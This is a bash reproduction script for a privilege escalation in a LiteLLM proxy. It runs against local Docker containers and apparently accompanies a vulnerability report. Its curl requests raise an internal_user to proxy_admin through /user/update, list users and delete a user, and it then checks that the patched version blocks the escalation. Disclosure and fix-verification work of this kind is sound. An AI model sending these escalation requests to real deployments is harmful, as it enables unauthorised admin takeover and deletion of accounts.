#!/usr/bin/env bash
#
# demo.sh — CVE-2026-47102 LiteLLM Privilege Escalation (internal_user → proxy_admin)
#
# One-click reproduction covering report sections 5.1 through 6.2:
#   5.1  — Start vulnerable LiteLLM container (v1.83.7-stable)
#   5.2  — Confirm service via docker logs
#   5.3  — Create internal_user account via /user/new
#   5.4  — Step 1: Admin grants a key with /user/update route access
#   5.5  — Step 2: Escalate to proxy_admin via /user/update  ← CVE-2026-47102
#   5.6  — Step 3: Verify admin access via /user/list
#   5.7  — Extension: Delete admin user directly via /user/delete
#   6.1  — Start fixed version (v1.83.10-stable)
#   6.2  — Verify fix: attempt /user/update role change (expected: blocked)
#
# Usage:
#   bash demo.sh              # full 5.1→6.2 reproduction (both versions)
#   bash demo.sh --keep       # keep containers running after demo
#

set -euo pipefail

cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

info()  { echo -e "${BLUE}[*]${NC} $*"; }
pass()  { echo -e "${GREEN}[PASS]${NC} $*"; }
fail()  { echo -e "${RED}[FAIL]${NC} $*"; }
warn()  { echo -e "${YELLOW}[!]${NC} $*"; }
banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; }

MASTER_KEY="sk-litellm-master-key"
KEEP=0

cleanup() {
    if [ "$KEEP" != "1" ]; then
        info "Cleaning up containers..."
        docker compose down --remove-orphans 2>/dev/null || true
        docker rm -f litellm-47102-privesc litellm-47102-fixed litellm-47102-db 2>/dev/null || true
    else
        info "Keeping containers running (--keep)."
    fi
}

remove_existing_containers() {
    docker compose down --remove-orphans 2>/dev/null || true
    for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done
}

wait_for_litellm() {
    local url="$1"
    local timeout="${2:-120}"
    info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..."
    for i in $(seq 1 "$timeout"); do
        if curl -sf "$url" >/dev/null 2>&1; then
            pass "LiteLLM is ready!"
            return 0
        fi
        if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then
            pass "LiteLLM is ready (auth required)!"
            return 0
        fi
        sleep 2
    done
    fail "LiteLLM did not become ready within ${timeout}s"
    return 1
}

# Create an internal_user and get their API key
create_internal_user() {
    local target="$1"
    info "Creating internal_user account..."

    local resp
    resp=$(curl -s -X POST "$target/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local user_id
    user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    local user_key
    user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$user_id" ] && [ -n "$user_key" ]; then
        pass "Internal user created!"
        info "  User ID:   $user_id"
        info "  API Key:   ${user_key:0:32}..."
        echo "$user_id" > /tmp/cve47102_user_id.txt
        echo "$user_key" > /tmp/cve47102_user_key.txt
        return 0
    else
        warn "Could not parse user creation response."
        info "Response: $(echo "$resp" | head -c 300)"
        return 1
    fi
}

# Step 1: Admin grants a key with /user/update route access
step1_grant_route_key() {
    local target="$1"
    local user_id="$2"

    info "Step 1: Admin grants key with /user/update route access..."

    local resp
    resp=$(curl -s -X POST "$target/key/generate" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$user_id\"}" 2>&1) || true

    local route_key
    route_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$route_key" ]; then
        pass "Key with /user/update route access granted!"
        info "  New API Key: ${route_key:0:48}..."
        echo "$route_key" > /tmp/cve47102_route_key.txt
        return 0
    else
        warn "Key granting failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 2: Escalate to proxy_admin via /user/update (CVE-2026-47102)
step2_escalate_to_admin() {
    local target="$1"
    local route_key="$2"
    local user_id="$3"

    info "Step 2: Escalating user '$user_id' to proxy_admin via /user/update..."
    info "CVE-2026-47102: /user/update allows self-modification of user_role"

    local resp
    resp=$(curl -s -X POST "$target/user/update" \
        -H "Authorization: Bearer $route_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

    local new_role
    new_role=$(echo "$resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
print(data.get('user_role', d.get('user_role', 'unknown')))
" 2>/dev/null || echo "unknown")

    if echo "$resp" | grep -q "user_id"; then
        pass "Privilege escalation successful!"
        info "  New role: $new_role"
        return 0
    else
        warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 3: Verify admin access
step3_verify_admin() {
    local target="$1"
    local api_key="$2"

    info "Step 3: Verifying admin access (listing users via /user/list)..."

    local resp
    resp=$(curl -s -X GET "$target/user/list" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" 2>&1) || true

    if echo "$resp" | grep -q "users\|user_id"; then
        pass "Admin access confirmed!"
        info "User list:"
        echo "$resp" | python3 -c "
import sys, json
data = json.load(sys.stdin)
users = data if isinstance(data, list) else data.get('users', [])
for u in users[:5]:
    uid = u.get('user_id', '?')
    role = u.get('user_role', u.get('role', '?'))
    print(f'    - {uid} (role: {role})')
" 2>/dev/null || echo "$resp" | head -c 300
        return 0
    else
        warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Section 5.7 Extension: Delete a user directly
step_extension_delete_user() {
    local target="$1"
    local api_key="$2"
    local user_id="$3"

    echo ""
    info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..."

    local resp
    resp=$(curl -s -X POST "$target/user/delete" \
        -H "Authorization: Bearer $api_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true

    if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then
        pass "User deleted via /user/delete — arbitrary user deletion confirmed!"
    else
        warn "Delete response: $(echo "$resp" | head -c 200)"
    fi
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --keep)  KEEP=1; shift ;;
            *)       warn "Unknown option: $1"; shift ;;
        esac
    done

    trap cleanup EXIT

    clear
    echo ""
    echo "  ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██╗   ██╗██████╗ "
    echo " ██╔════╝██║   ██║██╔════╝   ╚════██╗██╔══██╗██║   ██║██╔══██╗"
    echo " ██║     ██║   ██║█████╗      █████╔╝██║  ██║██║   ██║██████╔╝"
    echo " ██║     ╚██╗ ██╔╝██╔══╝     ██╔═══╝ ██║  ██║██║   ██║██╔══██╗"
    echo " ╚██████╗ ╚████╔╝ ███████╗    ███████╗██████╔╝╚██████╔╝██║  ██║"
    echo "  ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝"
    echo ""
    echo "  CVE-2026-47102 — Privilege Escalation via /user/update"
    echo "  CVSS 8.8 | Affected: <1.83.10 | Fixed: v1.83.10+"
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "  Reproduction: Sections 5.1 through 6.2"
    echo ""

    #####################################################################
    # Section 5.1: Start vulnerable LiteLLM container
    #####################################################################
    banner "Section 5.1: Starting vulnerable LiteLLM (v1.83.7-stable)"
    remove_existing_containers litellm-47102-privesc litellm-47102-db
    docker compose up -d litellm
    info "Container: litellm-47102-privesc (port 4002)"
    echo ""

    #####################################################################
    # Section 5.2: Confirm service running
    #####################################################################
    banner "Section 5.2: Confirming service running"
    info "Waiting for container to start, then showing logs..."
    sleep 5
    info "--- docker logs litellm-47102-privesc (last 10 lines) ---"
    docker logs litellm-47102-privesc 2>&1 | tail -10
    echo ""

    #####################################################################
    # Section 5.3: Create internal_user account
    #####################################################################
    banner "Section 5.3: Creating internal_user account"
    wait_for_litellm "http://localhost:4002" 60
    create_internal_user "http://localhost:4002"
    echo ""

    # Read saved credentials
    local INTERNAL_USER_ID
    local INTERNAL_USER_KEY
    INTERNAL_USER_ID=$(cat /tmp/cve47102_user_id.txt 2>/dev/null || echo "")
    INTERNAL_USER_KEY=$(cat /tmp/cve47102_user_key.txt 2>/dev/null || echo "")

    if [ -z "$INTERNAL_USER_ID" ] || [ -z "$INTERNAL_USER_KEY" ]; then
        fail "No internal user credentials available. Aborting."
        exit 1
    fi

    #####################################################################
    # Section 5.4: Step 1 — Admin grants key with /user/update route
    #####################################################################
    banner "Section 5.4: Step 1 — Granting key with /user/update route access"
    info "Vulnerability context: internal_user cannot self-grant /user/update route."
    info "Admin must explicitly create a route-restricted key for the user."
    echo ""
    step1_grant_route_key "http://localhost:4002" "$INTERNAL_USER_ID"
    echo ""

    local ROUTE_KEY
    ROUTE_KEY=$(cat /tmp/cve47102_route_key.txt 2>/dev/null || echo "")

    if [ -z "$ROUTE_KEY" ]; then
        fail "No route key available. Cannot proceed with exploitation."
        exit 1
    fi

    #####################################################################
    # Section 5.5: Step 2 — Escalate to proxy_admin (CVE-2026-47102)
    #####################################################################
    banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update"
    info "CVE-2026-47102: /user/update endpoint checks THAT a user can update,"
    info "but does NOT restrict WHICH fields (e.g. user_role) can be modified."
    echo ""
    step2_escalate_to_admin "http://localhost:4002" "$ROUTE_KEY" "$INTERNAL_USER_ID"
    echo ""

    #####################################################################
    # Section 5.6: Step 3 — Verify admin access
    #####################################################################
    banner "Section 5.6: Step 3 — Verifying admin access"
    info "The escalated user's original API key now has proxy_admin role."
    step3_verify_admin "http://localhost:4002" "$INTERNAL_USER_KEY"
    echo ""

    #####################################################################
    # Section 5.7: Extension — Delete admin user
    #####################################################################
    echo ""
    banner "Section 5.7: Extension — Arbitrary user deletion"
    info "With proxy_admin privileges, /user/delete allows deleting any user."
    step_extension_delete_user "http://localhost:4002" "$INTERNAL_USER_KEY" "$INTERNAL_USER_ID"

    #####################################################################
    # Section 6: Fixed version comparison
    #####################################################################
    echo ""
    banner "Section 6.1: Starting fixed version (v1.83.10-stable)"
    remove_existing_containers litellm-47102-fixed
    docker compose --profile fixed up -d litellm-fixed
    wait_for_litellm "http://localhost:4003" 60

    echo ""
    banner "Section 6.2: Verifying fix (expected: blocked)"
    info "Fixed version v1.83.10 restricts which fields /user/update may modify."
    info "user_role changes should now require proxy_admin privileges."
    echo ""

    # Create internal_user on fixed version
    local FIXED_USER_RESP
    FIXED_USER_RESP=$(curl -s -X POST "http://localhost:4003/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local FIXED_USER_ID
    FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    if [ -n "$FIXED_USER_ID" ]; then
        pass "Internal user created on fixed version!"

        # Create key with /user/update route
        local FIXED_KEY_RESP
        FIXED_KEY_RESP=$(curl -s -X POST "http://localhost:4003/key/generate" \
            -H "Authorization: Bearer $MASTER_KEY" \
            -H "Content-Type: application/json" \
            -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" 2>&1) || true

        local FIXED_ROUTE_KEY
        FIXED_ROUTE_KEY=$(echo "$FIXED_KEY_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

        if [ -n "$FIXED_ROUTE_KEY" ]; then
            # Attempt to escalate (expected: blocked)
            local fixed_esc_resp
            fixed_esc_resp=$(curl -s -X POST "http://localhost:4003/user/update" \
                -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
                -H "Content-Type: application/json" \
                -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

            if echo "$fixed_esc_resp" | grep -qi "error\|denied\|forbidden\|not allowed\|permission"; then
                pass "[FIXED] /user/update correctly blocked user_role modification!"
            else
                local role_check
                role_check=$(echo "$fixed_esc_resp" | python3 -c "
import sys,json
d=json.load(sys.stdin)
data = d.get('data', {})
r = data.get('user_role', d.get('user_role', ''))
print(r)
" 2>/dev/null || echo "")
                if [ "$role_check" = "proxy_admin" ]; then
                    warn "Escalation still succeeded on fixed version (unexpected)."
                else
                    pass "[FIXED] /user/update blocked escalation (role unchanged)."
                fi
            fi
        else
            warn "Could not create route key on fixed version."
        fi
    else
        warn "Could not create internal_user on fixed version."
    fi

    echo ""
    echo "  ==============================================="
    pass "Reproduction complete! (Sections 5.1 — 6.2)"
    echo "  Vulnerable:   http://localhost:4002 — CVE-2026-47102 CONFIRMED"
    echo "  Fixed:        http://localhost:4003 — ESCALATION BLOCKED"
    echo "  ==============================================="
    echo ""
    echo "  Attack chain:"
    echo "    1. Admin creates a key with /user/update route access for user"
    echo "    2. User calls  /user/update  →  user_role: proxy_admin  ← CVE-2026-47102"
    echo "    3. Verify     /user/list     →  full admin access confirmed"
    echo ""
    echo "  Root cause: /user/update allows self-modification of user_role"
    echo "    - No field-level restrictions in can_user_call_user_update()"
    echo "    - Any field including user_role can be changed by the user"
    echo "    - Fixed in v1.83.10 by restricting which fields non-admin can modify"
    echo ""
}

main "$@"